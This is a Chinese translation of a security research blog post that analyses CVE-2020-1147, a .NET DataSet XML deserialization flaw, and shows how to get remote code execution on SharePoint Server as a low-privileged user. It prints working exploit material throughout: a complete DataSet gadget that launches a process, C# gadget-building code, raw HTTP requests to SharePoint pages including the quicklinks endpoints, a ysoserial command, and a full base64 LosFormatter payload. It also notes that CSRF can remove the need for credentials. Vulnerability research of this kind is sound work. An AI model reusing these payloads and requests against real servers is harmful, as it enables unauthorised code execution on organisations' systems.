导语:在这篇文章中,我将详细分析CVE-2020-1147漏洞,以及如何针对SharePoint Server实例利用这一漏洞的详细信息,以低特权用户的身份获得远程代码执行。
0x00 前言
7月,在CVE-2020-1147漏洞发布时,我很好奇这个漏洞的表现形式,以及如何利用这个漏洞实现远程代码执行。由于我对于SharePoint Server和.NET比较了解,因此决定深入研究一下。
在这篇文章中,我将详细分析CVE-2020-1147漏洞,该漏洞由Oleksandr Mirosh、Markus Wulftange和Jonathan Birch独立发现。我将分享如何针对SharePoint Server实例利用这一漏洞的详细信息,使用低特权用户的身份获得远程代码执行。需要特别说明的是,在这里我并没有提供完整的漏洞利用,因此如果大家遇到问题,需要独立解决。
我比较关注的一个点在于,Microsoft引用了与该漏洞相关的安全指南,具体如下:
如果传入的XML数据包含其类型不在列表中的对象,则会引发异常。反序列化操作将会失败。在将XML加载到现有的DataSet或DataTable实例中时,还应该考虑现有的列定义。如果表中已经包含自定义类型的列定义,那么在XML反序列化操作期间,该类型将被临时添加到允许列表中。
有趣的是,这里可以指定类型,并且可以覆盖列定义。而这对我来说似乎很有帮助,让我们来看一下如何创建DataSet对象。
0x01 理解DataSet对象
在数据集DataSet中,包含数据表Datatable,其中包括数据列DataColumn和数据行DataRow。更重要的是,它实现了ISerializable接口,这意味着我们可以使用XmlSerializer对其进行序列化。首先,创建一个DataTable:
static void Main(string[] args) { // instantiate the table DataTable exptable = new DataTable("exp table"); // make a column and set type information and append to the table DataColumn dc = new DataColumn("ObjectDataProviderCol"); dc.DataType = typeof(ObjectDataProvider); exptable.Columns.Add(dc); // make a row and set an object instance and append to the table DataRow row = exptable.NewRow(); row["ObjectDataProviderCol"] = new ObjectDataProvider(); exptable.Rows.Add(row); // dump the xml schema exptable.WriteXmlSchema("c:/poc-schema.xml"); }
使用WriteXmlSchema方法,可以写出该模式的定义。这段代码会产生以下内容:
< ?xml version="1.0" standalone="yes"? >< xs:schema id="NewDataSet" xmlns="" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata" > < xs:element name="NewDataSet" msdata:IsDataSet="true" msdata:MainDataTable="exp_x0020_table" msdata:UseCurrentLocale="true" > < xs:complexType > < xs:choice minOccurs="0" maxOccurs="unbounded" > < xs:element name="exp_x0020_table" > < xs:complexType > < xs:sequence > < xs:element name="ObjectDataProviderCol" msdata:DataType="System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" type="xs:anyType" minOccurs="0" / > < /xs:sequence > < /xs:complexType > < /xs:element > < /xs:choice > < /xs:complexType > < /xs:element >< /xs:schema >
在查看DataSet的代码后发现,它使用WriteXml和ReadXML公开了自己的序列化方法(包装在XmlSerializer上):
System.Data.DataSet.ReadXml(XmlReader reader, Boolean denyResolving) System.Data.DataSet.ReadXmlDiffgram(XmlReader reader) System.Data.XmlDataLoader.LoadData(XmlReader reader) System.Data.XmlDataLoader.LoadTable(DataTable table, Boolean isNested) System.Data.XmlDataLoader.LoadColumn(DataColumn column, Object[] foundColumns) System.Data.DataColumn.ConvertXmlToObject(XmlReader xmlReader, XmlRootAttribute xmlAttrib) System.Data.Common.ObjectStorage.ConvertXmlToObject(XmlReader xmlReader, XmlRootAttribute xmlAttrib) System.Xml.Serialization.XmlSerializer.Deserialize(XmlReader xmlReader)
现在,剩下的步骤就是将表格添加到数据集中,并对其进行序列化:
DataSet ds = new DataSet("poc"); ds.Tables.Add(exptable); using (var writer = new StringWriter()) { ds.WriteXml(writer); Console.WriteLine(writer.ToString()); }
这种序列化方式保留了模式类型,并在运行时使用实例化的XmlSerializer对象图中的单个DataSet预期类型来重建受到攻击者影响的类型。
0x02 DataSet Gadget
下面是可以构造的gadget示例,请注意,不要将它与ysoserial中的DataSet gadget混淆:
< DataSet > < xs:schema xmlns="" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata" id="somedataset" > < xs:element name="somedataset" msdata:IsDataSet="true" msdata:UseCurrentLocale="true" > < xs:complexType > < xs:choice minOccurs="0" maxOccurs="unbounded" > < xs:element name="Exp_x0020_Table" > < xs:complexType > < xs:sequence > < xs:element name="pwn" msdata:DataType="System.Data.Services.Internal.ExpandedWrapper`2[[System.Windows.Markup.XamlReader, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" type="xs:anyType" minOccurs="0"/ > < /xs:sequence > < /xs:complexType > < /xs:element > < /xs:choice > < /xs:complexType > < /xs:element > < /xs:schema > < diffgr:diffgram xmlns:msdata="urn:schemas-microsoft-com:xml-msdata" xmlns:diffgr="urn:schemas-microsoft-com:xml-diffgram-v1" > < somedataset > < Exp_x0020_Table diffgr:id="Exp Table1" msdata:rowOrder="0" diffgr:hasChanges="inserted" > < pwn xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" > < ExpandedElement/ > < ProjectedProperty0 > < MethodName >Parse< /MethodName > < MethodParameters > < anyType xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xsi:type="xsd:string" >< ![CDATA[< ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:System="clr-namespace:System;assembly=mscorlib" xmlns:Diag="clr-namespace:System.Diagnostics;assembly=system" >< ObjectDataProvider x:Key="LaunchCmd" ObjectType="{x:Type Diag:Process}" MethodName="Start" >< ObjectDataProvider.MethodParameters >< System:String >cmd< /System:String >< System:String >/c mspaint < /System:String >< /ObjectDataProvider.MethodParameters >< /ObjectDataProvider >< /ResourceDictionary >]] >< /anyType > < /MethodParameters > < ObjectInstance xsi:type="XamlReader"/ > < /ProjectedProperty0 > < /pwn > < /Exp_x0020_Table > < /somedataset > < /diffgr:diffgram >< /DataSet >
这个gadget链将在不包含接口成员的Type上调用任意静态方法。在这里,我打算使用知名的XamlReader.Parse加载恶意Xaml来执行系统命令。正如@pwntester在研究中提到的,我使用ExpandedWrapper类加载了两种不同的类型。
可以在许多sink中利用它,例如:
XmlSerializer ser = new XmlSerializer(typeof(DataSet)); Stream reader = new FileStream("c:/poc.xml", FileMode.Open); ser.Deserialize(reader);
许多应用程序都认为DataSet是安全的,因此即使无法直接通过XmlSerializer控制期望的类型,DataSet也通常用于对象图中。但是,最有趣的sink是触发代码执行的DataSet.ReadXml:
DataSet ds = new DataSet(); ds.ReadXml("c:/poc.xml");
0x03 将Gadget应用在SharePoint Server
我们查看了ZDI-20-874,该漏洞公告提到了Microsoft.PerformancePoint.Scorecards.Client.ExcelDataSet控件,可以用于远程执行代码。这立即引起了我的关注,因为其类名称中包含“DataSet”名称。我们来查看一下SharePoint的默认web.config文件:
< controls > < add tagPrefix="asp" namespace="System.Web.UI" assembly="System.Web.Extensions, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" / > < add tagPrefix="SharePoint" namespace="Microsoft.SharePoint.WebControls" assembly="Microsoft.SharePoint, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" / > < add tagPrefix="WebPartPages" namespace="Microsoft.SharePoint.WebPartPages" assembly="Microsoft.SharePoint, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" / > < add tagPrefix="PWA" namespace="Microsoft.Office.Project.PWA.CommonControls" assembly="Microsoft.Office.Project.Server.PWA, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" / > < add tagPrefix="spsswc" namespace="Microsoft.Office.Server.Search.WebControls" assembly="Microsoft.Office.Server.Search, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" / > < /controls >
在控件标签下,我们可以看到Microsoft.PerformancePoint.Scorecards命名空间不存在前缀。但是,我们检查SafeControl标签,里面确实列出了允许的命名空间中的所有类型。
< configuration > < configSections > < SharePoint > < SafeControls > < SafeControl Assembly="Microsoft.PerformancePoint.Scorecards.Client, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" Namespace="Microsoft.PerformancePoint.Scorecards" TypeName="*" / > ...
既然我们知道可以从这个命名空间实例化类,那么我们就可以深入研究代码以检查ExcelDataSet类型:
namespace Microsoft.PerformancePoint.Scorecards { [Serializable] public class ExcelDataSet {
我注意到的第一件事,就是它可以序列化,因此我知道它可以实例化为控件,并且默认构造函数将会与未使用System.Xml.Serialization.XmlIgnoreAttribute属性标记的所有公共设置方法一起被调用。SharePoint使用XmlSerializer从控件创建对象,因此,在代码中只需要找到可以使攻击者提供的数据流入TemplateControl.ParseControl的任何地方,就可以利用ExcelDataSet类型。
其中比较明显的一个属性就是DataTable属性,因为它包含一个公开setter,并且使用了System.Data.DataTable类型。但是,经过仔细检查,我们可以看到它正在使用XmlIgnore属性,因此我们无法使用这个setter触发反序列化。
[XmlIgnore] public DataTable DataTable { get { if (this.dataTable == null && this.compressedDataTable != null) { this.dataTable = (Helper.GetObjectFromCompressedBase64String(this.compressedDataTable, ExcelDataSet.ExpectedSerializationTypes) as DataTable); if (this.dataTable == null) { this.compressedDataTable = null; } } return this.dataTable; } set { this.dataTable = value; this.compressedDataTable = null; } }
上述代码揭晓了部分答案,但是getter使用compressedDataTable属性调用GetObjectFromCompressedBase64String。这个方法将解码提供的Base64,解压缩二进制formatter Payload,然后用它来调用BinaryFormatter.Deserialize。但是,代码包含反序列化的预期类型,其中之一就是DataTable,因此我们不能只在这里填充生成的TypeConfuseDelegate。
private static readonly Type[] ExpectedSerializationTypes = new Type[] { typeof(DataTable), typeof(Version) };
在检查CompressedDataTable属性时,我们可以看到设置compressedDataTable成员不会出现问题,因为它使用的是System.Xml.Serialization.XmlElementAttribute属性。
[XmlElement] public string CompressedDataTable { get { if (this.compressedDataTable == null && this.dataTable != null) { this.compressedDataTable = Helper.GetCompressedBase64StringFromObject(this.dataTable); } return this.compressedDataTable; } set { this.compressedDataTable = value; this.dataTable = null; } }
将上述组合在一起,我就可以注册一个前缀,并使用Base64编码、压缩和序列化的危险DataTable实例化控件:
PUT /poc.aspx HTTP/1.1 Host: < target > Authorization: < ntlm auth header > Content-Length: 1688 < %@ Register TagPrefix="escape" Namespace="Microsoft.PerformancePoint.Scorecards" Assembly="Microsoft.PerformancePoint.Scorecards.Client, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c"% >< escape:ExcelDataSet runat="server" CompressedDataTable="H4sIAAAAAAAEALVWW2/bNhROegmadtvbHvYm6KFPtmTHSdoqlgs06YZgcRPE2RqgKDKaOrbZSKRGUraMYv9o+43doUTZju2mabHJgESfOw+/80kbmxsbG5/wMk9zfXcPb296U6Uh8Y6IJjXnd5CKCR7ueg3zqzmHWawzCSGHTEsS15yzrB8z+itML8Q18LD/7BnZo3v7zRetXWg8f/HQBP9xIWZxuyD9GO6j5qfZP+8cEqEZH9qU25dJ3KMjSMgTXB2xweAXSZL7m5s/2GDWztS8bUJtPcDb34/aL/Mkdsa2brfpNVwHOBURhg7dTA/qzX33Zef7x+1cBapI4KAHV6Hrlosgx/VI6zTw/clk4k1anpBDf6fRaPqX3ZOyqMo2URHuAANLbqOpesKoFEoMdJ2KJEC7emnlYlbHMXkhhgS4djhJIHRf5+lV3mjsNK6KTpRmpSEGSGPIL6YpWGkpV/BnhruaC9fFTSfcdcrUQdFnjBK6i2fRAzlmFJR3zDVITmIPayE8guitJGkK8o+dd++sw1vGIzFRXpfI6yz1LkkSnwOJQCIGJChMSzS2/Gc8JZgIef0N4Gk1+4PW8719ErX2d6G19762nLyo+rT/Aag2yzMpxuz/LeF9zVnXsf9gNFxHFweC50b41BzO7LQ0kUPQb3AbKiUUDDQTxk8pzSRiExHtz9Hgr8KhkC1DpxBagHwGiEokYPIr0LNSjpXZdw906GqZzUvsEsZnw7uK4crsNwWHmZSY40RQYiyLKHeAOB0JbPTSvhOSV/8y3heZgeq8G3fZd9mvYlI7Ww+RMv553I6QXYYyKB8k+ZbRtj5liC/5VInq46blhIXOV3tZ6qhji2RR0WynEDZnfZZicipxEoouWdMRUYcjwoeA3WJcgdTYrHmPkR5mhMe+zHh1DKEJgmxOk9EdeHKRoSpyeW1R5y8qcZbNWEOEC2QePW0saFFfTv2xLcLBmoNyfuZM5N6IiD5d0CMRmTnqnBGpoO0vSNZYohFqkArVDS3q7YQupMXtB0pLfK24naexPjgHJTJJ4YhRQ0JETqv3iu2RxYM3w4OHePAnjA9y07R9P8eN+OkCkc06/XUxKreSt0KXxrLOKy6x0gOiFCT9eBomigoZs37ldcTIcL2PZ1RcKM2omvurQuc+HeoD04ZVcnbyADkwdE9IxunoMMGBLY3K99HHPCg6a4IH6IPkqv5ynflB4SsL+VDfksFbPr3KtKw76BXHZIQ0iYzcX1Gstfapg5xFnc+7+F9RzBrbmWoVPEbV9i3sbmLVvwWsbf+WOWr7OPMzrlwiGEuWN5mo7S9xY+eB+dZa+gYzX15bV13yQUh8MG4erzIWR9tX5zBmxsR8Xz7C65791vxkryf/AlZRMe+GCgAA" / >
但是,我无法找到触发DataTable属性getter的方法。我知道我需要一种使用DataSet的方法,但是我并不知道如何使用。
多种方式实现目标
在我放松心情后,我决定以不同的方式来思考这个问题,并开始考虑还有哪些sink可以使用。然后,我想到了DataSet.ReadXml sink也是一个造成问题的来源,因此我再次检查了代码,并找到了这个有效的代码路径:
Microsoft.SharePoint.Portal.WebControls.ContactLinksSuggestionsMicroView.GetDataSet() Microsoft.SharePoint.Portal.WebControls.ContactLinksSuggestionsMicroView.PopulateDataSetFromCache(DataSet)
在ContactLinksSuggestionsMicroView类的内部,我们可以看到GetDataSet方法:
protected override DataSet GetDataSet() { base.StopProcessingRequestIfNotNeeded(); if (!this.Page.IsPostBack || this.Hidden) // 1 { return null; } DataSet dataSet = new DataSet(); DataTable dataTable = dataSet.Tables.Add(); dataTable.Columns.Add("PreferredName", typeof(string)); dataTable.Columns.Add("Weight", typeof(double)); dataTable.Columns.Add("UserID", typeof(string)); dataTable.Columns.Add("Email", typeof(string)); dataTable.Columns.Add("PageURL", typeof(string)); dataTable.Columns.Add("PictureURL", typeof(string)); dataTable.Columns.Add("Title", typeof(string)); dataTable.Columns.Add("Department", typeof(string)); dataTable.Columns.Add("SourceMask", typeof(int)); if (this.IsInitialPostBack) // 2 { this.PopulateDataSetFromSuggestions(dataSet); } else { this.PopulateDataSetFromCache(dataSet); // 3 } this.m_strJavascript.AppendLine("var user = new Object();"); foreach (object obj in dataSet.Tables[0].Rows) { DataRow dataRow = (DataRow)obj; string scriptLiteralToEncode = (string)dataRow["UserID"]; int num = (int)dataRow["SourceMask"]; this.m_strJavascript.Append("user['"); this.m_strJavascript.Append(SPHttpUtility.EcmaScriptStringLiteralEncode(scriptLiteralToEncode)); this.m_strJavascript.Append("'] = "); this.m_strJavascript.Append(num.ToString(CultureInfo.CurrentCulture)); this.m_strJavascript.AppendLine(";"); } StringWriter stringWriter = new StringWriter(CultureInfo.CurrentCulture); dataSet.WriteXml(stringWriter); SPPageContentManager.RegisterHiddenField(this.Page, "__SUGGESTIONSCACHE__", stringWriter.ToString()); return dataSet; }
在[1]的位置,代码检查该请求是否为POST返回请求。为了确保这一点,攻击者可以设置__viewstate POST变量,然后代码在[2]的位置检查__SUGGESTIONSCACHE__ POST变量是否已经设置,如果已设置,则IsInitialPostBack getter将返回false。只要这个getter返回false,攻击者就可以到达[3],到达PopulateDataSetFromCache。该调用将使用已经使用特定模式定义创建的数据集。
protected void PopulateDataSetFromCache(DataSet ds) { string value = SPRequestParameterUtility.GetValue< string >(this.Page.Request, "__SUGGESTIONSCACHE__", SPRequestParameterSource.Form); using (XmlTextReader xmlTextReader = new XmlTextReader(new StringReader(value))) { xmlTextReader.DtdProcessing = DtdProcessing.Prohibit; ds.ReadXml(xmlTextReader); // 4 ds.AcceptChanges(); } }
在PopulateDataSetFromCache内部,代码调用SPRequestParameterUtility.GetValue以从__SUGGESTIONSCACHE__请求变量获取攻击者控制的数据,并使用XmlTextReader将其直接解析为ReadXml。先前定义的模式被攻击者提供的XML内部的模式所覆盖,并且在[4]发生不可信类型的反序列化,从而导致远程代码执行。为了触发此操作,我创建了一个页面,该页面专门使用ContactLinksSuggestionsMicroView类型:
PUT /poc.aspx HTTP/1.1 Host: < target > Authorization: < ntlm auth header > Content-Length: 252 < %@ Register TagPrefix="escape" Namespace="Microsoft.SharePoint.Portal.WebControls" Assembly="Microsoft.SharePoint.Portal, Version=15.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c"% >< escape:ContactLinksSuggestionsMicroView runat="server" / >
如果我们以低特权用户身份利用这一漏洞,并且AddAndCustomizePages设置已经禁用,那么就可以利用实例化InputFormContactLinksSuggestionsMicroView控件的页面来利用这一漏洞,因为它是从ContactLinksSuggestionsMicroView扩展而来的。
namespace Microsoft.SharePoint.Portal.WebControls { [SharePointPermission(SecurityAction.Demand, ObjectModel = true)] [AspNetHostingPermission(SecurityAction.LinkDemand, Level = AspNetHostingPermissionLevel.Minimal)] [AspNetHostingPermission(SecurityAction.InheritanceDemand, Level = AspNetHostingPermissionLevel.Minimal)] [SharePointPermission(SecurityAction.InheritanceDemand, ObjectModel = true)] public class InputFormContactLinksSuggestionsMicroView : ContactLinksSuggestionsMicroView {
我发现了一些实现该控件的终端,但暂时还没有时间对其进行测试。(更新:Soroush Dalili对其进行了测试,并且确认它们的确是可以利用的)
/_layouts/15/quicklinks.aspx?Mode=Suggestion /_layouts/15/quicklinksdialogform.aspx?Mode=Suggestion
现在,要利用漏洞,我们可以对新创建的页面执行POST请求:
POST /poc.aspx HTTP/1.1 Host: < target > Authorization: < ntlm auth header > Content-Type: application/x-www-form-urlencoded Content-Length: < length > __viewstate=&__SUGGESTIONSCACHE__=< urlencoded DataSet gadget >
或者:
POST /quicklinks.aspx?Mode=Suggestion HTTP/1.1 Host: < target > Authorization: < ntlm auth header > Content-Type: application/x-www-form-urlencoded Content-Length: < length > __viewstate=&__SUGGESTIONSCACHE__=< urlencoded DataSet gadget >
或者:
POST /quicklinksdialogform.aspx?Mode=Suggestion HTTP/1.1 Host: < target > Authorization: < ntlm auth header > Content-Type: application/x-www-form-urlencoded Content-Length: < length > __viewstate=&__SUGGESTIONSCACHE__=< urlencoded DataSet gadget >
请注意,也可以对每个终端进行CSRF攻击,因此不一定需要凭据。
0x04 最后一件事
我们不能使用XamlReader.Load静态方法,因为IIS Web服务器将模拟为IUSR帐户,并且该帐户对注册表的访问是受限的。如果尝试这样做,除非在IIS下没有金庸模拟,并使用了应用程序池标识,否则最终会得到这样的堆栈跟踪:
{System.InvalidOperationException: There is an error in the XML document. --- > System.TypeInitializationException: The type initializer for 'MS.Utility.EventTrace' threw an exception. --- > System.Security.SecurityException: Requested registry access is not allowed. at System.ThrowHelper.ThrowSecurityException(ExceptionResource resource) at Microsoft.Win32.RegistryKey.OpenSubKey(String name, Boolean writable) at Microsoft.Win32.RegistryKey.OpenSubKey(String name) at Microsoft.Win32.Registry.GetValue(String keyName, String valueName, Object defaultValue) at MS.Utility.EventTrace.IsClassicETWRegistryEnabled() at MS.Utility.EventTrace..cctor() --- End of inner exception stack trace --- at MS.Utility.EventTrace.EasyTraceEvent(Keyword keywords, Event eventID, Object param1) at System.Windows.Markup.XamlReader.Load(XmlReader reader, ParserContext parserContext, XamlParseMode parseMode, Boolean useRestrictiveXamlReader, List`1 safeTypes) at System.Windows.Markup.XamlReader.Load(XmlReader reader, ParserContext parserContext, XamlParseMode parseMode, Boolean useRestrictiveXamlReader) at System.Windows.Markup.XamlReader.Load(XmlReader reader, ParserContext parserContext, XamlParseMode parseMode) at System.Windows.Markup.XamlReader.Load(XmlReader reader) at System.Windows.Markup.XamlReader.Parse(String xamlText) --- End of inner exception stack trace --- at System.Xml.Serialization.XmlSerializer.Deserialize(XmlReader xmlReader, String encodingStyle, XmlDeserializationEvents events) at System.Xml.Serialization.XmlSerializer.Deserialize(XmlReader xmlReader, String encodingStyle) at System.Xml.Serialization.XmlSerializer.Deserialize(XmlReader xmlReader) at System.Data.Common.ObjectStorage.ConvertXmlToObject(XmlReader xmlReader, XmlRootAttribute xmlAttrib) at System.Data.DataColumn.ConvertXmlToObject(XmlReader xmlReader, XmlRootAttribute xmlAttrib) at System.Data.XmlDataLoader.LoadColumn(DataColumn column, Object[] foundColumns) at System.Data.XmlDataLoader.LoadTable(DataTable table, Boolean isNested) at System.Data.XmlDataLoader.LoadData(XmlReader reader) at System.Data.DataSet.ReadXmlDiffgram(XmlReader reader) at System.Data.DataSet.ReadXml(XmlReader reader, Boolean denyResolving) at System.Data.DataSet.ReadXml(XmlReader reader) at Microsoft.SharePoint.Portal.WebControls.ContactLinksSuggestionsMicroView.PopulateDataSetFromCache(DataSet ds) at Microsoft.SharePoint.Portal.WebControls.ContactLinksSuggestionsMicroView.GetDataSet() at Microsoft.SharePoint.Portal.WebControls.PrivacyItemView.GetQueryResults(Object obj)
我们需要找到另一个危险的静态方法或setter,以从不使用接口成员的类型进行调用。我想将这一部分作为留给读者的练习,祝大家好运!
0x05 远程代码执行漏洞利用
好吧,实际上,我是希望大家能完整地阅读这篇文章,而不只是急于找到漏洞的Payload,这样将有助于我们更好地理解基础技术。无论如何,要利用该漏洞,我们可以使用LosFormatter.Deserialize方法,因为这个类中不包含接口成员。为此,我们需要生成序列化的ObjectStateFormatter小工具链的Base64 Payload:
c:\> ysoserial.exe -g TypeConfuseDelegate -f LosFormatter -c mspaint
现在,我们可以将Payload插入到以下DataSet gadget中,并针对目标SharePoint Server触发远程代码执行。
< DataSet > < xs:schema xmlns="" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata" id="somedataset" > < xs:element name="somedataset" msdata:IsDataSet="true" msdata:UseCurrentLocale="true" > < xs:complexType > < xs:choice minOccurs="0" maxOccurs="unbounded" > < xs:element name="Exp_x0020_Table" > < xs:complexType > < xs:sequence > < xs:element name="pwn" msdata:DataType="System.Data.Services.Internal.ExpandedWrapper`2[[System.Web.UI.LosFormatter, System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" type="xs:anyType" minOccurs="0"/ > < /xs:sequence > < /xs:complexType > < /xs:element > < /xs:choice > < /xs:complexType > < /xs:element > < /xs:schema > < diffgr:diffgram xmlns:msdata="urn:schemas-microsoft-com:xml-msdata" xmlns:diffgr="urn:schemas-microsoft-com:xml-diffgram-v1" > < somedataset > < Exp_x0020_Table diffgr:id="Exp Table1" msdata:rowOrder="0" diffgr:hasChanges="inserted" > < pwn xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" > < ExpandedElement/ > < ProjectedProperty0 > < MethodName >Deserialize< /MethodName > < MethodParameters > < anyType xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xsi:type="xsd:string" >/wEykwcAAQAAAP////8BAAAAAAAAAAwCAAAAXk1pY3Jvc29mdC5Qb3dlclNoZWxsLkVkaXRvciwgVmVyc2lvbj0zLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPTMxYmYzODU2YWQzNjRlMzUFAQAAAEJNaWNyb3NvZnQuVmlzdWFsU3R1ZGlvLlRleHQuRm9ybWF0dGluZy5UZXh0Rm9ybWF0dGluZ1J1blByb3BlcnRpZXMBAAAAD0ZvcmVncm91bmRCcnVzaAECAAAABgMAAAC1BTw/eG1sIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9InV0Zi04Ij8+DQo8T2JqZWN0RGF0YVByb3ZpZGVyIE1ldGhvZE5hbWU9IlN0YXJ0IiBJc0luaXRpYWxMb2FkRW5hYmxlZD0iRmFsc2UiIHhtbG5zPSJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dpbmZ4LzIwMDYveGFtbC9wcmVzZW50YXRpb24iIHhtbG5zOnNkPSJjbHItbmFtZXNwYWNlOlN5c3RlbS5EaWFnbm9zdGljczthc3NlbWJseT1TeXN0ZW0iIHhtbG5zOng9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sIj4NCiAgPE9iamVjdERhdGFQcm92aWRlci5PYmplY3RJbnN0YW5jZT4NCiAgICA8c2Q6UHJvY2Vzcz4NCiAgICAgIDxzZDpQcm9jZXNzLlN0YXJ0SW5mbz4NCiAgICAgICAgPHNkOlByb2Nlc3NTdGFydEluZm8gQXJndW1lbnRzPSIvYyBtc3BhaW50IiBTdGFuZGFyZEVycm9yRW5jb2Rpbmc9Int4Ok51bGx9IiBTdGFuZGFyZE91dHB1dEVuY29kaW5nPSJ7eDpOdWxsfSIgVXNlck5hbWU9IiIgUGFzc3dvcmQ9Int4Ok51bGx9IiBEb21haW49IiIgTG9hZFVzZXJQcm9maWxlPSJGYWxzZSIgRmlsZU5hbWU9ImNtZCIgLz4NCiAgICAgIDwvc2Q6UHJvY2Vzcy5TdGFydEluZm8+DQogICAgPC9zZDpQcm9jZXNzPg0KICA8L09iamVjdERhdGFQcm92aWRlci5PYmplY3RJbnN0YW5jZT4NCjwvT2JqZWN0RGF0YVByb3ZpZGVyPgs=< /anyType > < /MethodParameters > < ObjectInstance xsi:type="LosFormatter" >< /ObjectInstance > < /ProjectedProperty0 > < /pwn > < /Exp_x0020_Table > < /somedataset > < /diffgr:diffgram >< /DataSet >
针对IIS进程获得远程代码执行:
0x06 总结
Microsoft将该漏洞的可利用级别评估为1,我们同意这一点,这说明应该立即对该漏洞进行修复。值得一提的是,这个gadget链可以用于使用.NET构建的多个应用程序,即使未安装SharePoint Server,也仍然会受到这个漏洞的影响。
0x07 参考资料
[1] https://speakerdeck.com/pwntester/attacking-net-serialization
[3] https://www.zerodayinitiative.com/advisories/ZDI-20-874/
本文翻译自:https://srcincite.io/blog/2020/07/20/sharepoint-and-pwn-remote-code-execution-against-sharepoint-server-abusing-dataset.html如若转载,请注明原文地址